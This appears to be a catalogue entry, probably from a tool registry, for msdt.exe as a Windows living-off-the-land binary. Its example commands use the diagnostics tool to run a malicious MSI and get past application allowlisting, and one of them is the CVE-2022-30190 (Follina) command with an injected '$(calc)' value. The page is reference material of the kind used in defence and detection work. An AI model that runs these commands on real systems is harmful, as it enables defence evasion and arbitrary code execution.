windows enabled community high v1.0.0

msdt

Microsoft diagnostics tool Located at: C:\Windows\System32\Msdt.exe; C:\Windows\SysWOW64\Msdt.exe.

📋 Live Preview
msdt
msdt

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command
security.defense-evasion.bypass

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file. (Execute code)

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file. (Execute code bypass Application whitelisting)

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update. (Execute code bypass Application allowlisting)

msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"

Detection

Documentation

msdt

msdt is a Windows LOLBin. Microsoft diagnostics tool Located at: C:\Windows\System32\Msdt.exe; C:\Windows\SysWOW64\Msdt.exe.

References